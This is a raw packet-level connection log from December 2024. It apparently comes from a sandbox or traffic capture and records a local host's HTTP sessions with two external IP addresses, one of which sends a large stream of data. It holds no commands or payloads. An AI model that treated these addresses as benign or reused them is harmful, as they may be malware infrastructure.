Dec 18, 2024 09:07:04.834022999 CET	80	49709	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:06.025878906 CET	80	49709	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:06.026326895 CET	49709	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:07.541768074 CET	49709	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:07.545770884 CET	49710	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:07.661957026 CET	80	49709	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:07.662040949 CET	49709	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:07.665319920 CET	80	49710	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:07.665400982 CET	49710	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:07.670543909 CET	49710	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:07.790400982 CET	80	49710	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:09.579338074 CET	80	49710	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:09.579418898 CET	49710	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:09.584815025 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:09.704366922 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:09.704581022 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:09.704662085 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:09.824217081 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.027827978 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.027890921 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.027926922 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.027982950 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.028016090 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.028048992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.028064966 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.028064966 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.028064966 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.028065920 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.028065920 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.028084040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.028167963 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.028167963 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.028178930 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.028209925 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.028244019 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.028249025 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.028268099 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.028302908 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.148468018 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.148508072 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.148658037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.152442932 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.152497053 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.152514935 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.152575016 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.219002008 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.219129086 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.219166994 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.219290972 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.223176003 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.223274946 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.223279953 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.223349094 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.231610060 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.231698036 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.231750011 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.231811047 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.239947081 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.240041018 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.240072966 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.240269899 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.248362064 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.248471975 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.248492956 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.248559952 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.258342981 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.258492947 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.258522987 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.258585930 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.265233040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.265311956 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.265325069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.265388012 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.273533106 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.273611069 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.274070978 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.274131060 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.281985998 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.282087088 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.282144070 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.282175064 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.289670944 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.289724112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.289743900 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.289783955 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.296853065 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.296914101 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.296988010 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.297044992 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.304460049 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.304548979 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.304687023 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.304770947 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.410301924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.410502911 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.410712004 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.412596941 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.412724972 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.412806034 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.417427063 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.417589903 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.417680979 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.422266006 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.422307968 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.422327995 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.422396898 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.427145958 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.427181005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.427248001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.431385040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.431457043 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.431464911 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.431524992 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.436388969 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.436527014 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.436593056 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.440500975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.440608978 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.440690994 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.444782972 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.444870949 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.444993973 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.449542999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.449592113 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.449666977 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.453618050 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.453759909 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.453879118 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.458055019 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.458359003 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.458425999 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.462537050 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.462701082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.462760925 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.467026949 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.467124939 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.467186928 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.471559048 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.471676111 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.471741915 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.476485014 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.476520061 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.476609945 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.480245113 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.480408907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.480479002 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.484945059 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.485039949 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.485109091 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.489289045 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.489403963 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.489502907 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.493813992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.495476961 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.601905107 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.601978064 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.602045059 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.602112055 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.603543043 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.603681087 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.603754997 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.607254982 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.607290030 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.607327938 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.607359886 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.610865116 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.610923052 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.610945940 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.610999107 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.614485025 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.614554882 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.614556074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.614622116 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.618041039 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.618102074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.618225098 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.618277073 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.621531963 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.621611118 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.621618986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.621674061 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.624803066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.624871969 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.625016928 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.625082016 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.628246069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.628304958 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.628355026 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.628411055 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.631597042 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.631658077 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.631700039 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.631752014 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.635083914 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.635118961 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.635147095 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.635176897 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.638349056 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.638451099 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.638478994 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.638608932 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.641838074 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.641927004 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.642029047 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.642082930 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.645195961 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.645324945 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.645400047 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.648582935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.648709059 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.648809910 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.648839951 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.652115107 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.652173996 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.652241945 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.652296066 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.655404091 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.655478001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.655564070 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.655617952 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.658879042 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.658935070 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.658987045 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.659039974 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.662334919 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.662369967 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.662390947 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.662436962 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.665677071 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.665740013 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.665920973 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.665977001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.669184923 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.669241905 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.669279099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.669332027 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.672574043 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.672633886 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.672703981 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.672758102 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.675889015 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.675954103 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.676004887 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.676060915 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.679765940 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.679800034 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.679846048 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.679846048 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.682951927 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.682985067 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.683034897 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.683034897 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.686157942 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.686228037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.686284065 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.686333895 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.689507008 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.689563036 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.689683914 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.689798117 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.692951918 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.693016052 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.693098068 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.693171024 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.696321011 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.696384907 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.696412086 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.696469069 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.699702024 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.699815035 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.699820042 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.699875116 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.703120947 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.703208923 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.703293085 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.703387022 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.706516981 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.706583977 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.706698895 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.706757069 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.709945917 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.710047007 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.710062981 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.710107088 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.713541031 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.713574886 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.713622093 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.713622093 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.716789007 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.716886997 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.716959953 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.717019081 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.793159008 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.793220043 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.793311119 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.793370962 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.793904066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.793966055 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.794199944 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.794260979 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.796658993 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.796761990 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.796818972 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.796875954 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.799654007 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.799686909 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.799710989 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.799741030 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.802464008 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.802551985 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.802581072 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.802655935 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.805151939 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.805216074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.805255890 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.805310965 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.807890892 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.807986021 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.807988882 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.808042049 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.810571909 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.810628891 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.810712099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.810765982 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.813271046 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.813321114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.813328981 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.813369989 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.816510916 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.816600084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.816601038 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.816673040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.818576097 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.818703890 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.818774939 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.818856001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.821198940 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.821261883 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:11.821367979 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:11.821419954 CET	49711	80	192.168.2.8	31.41.244.11
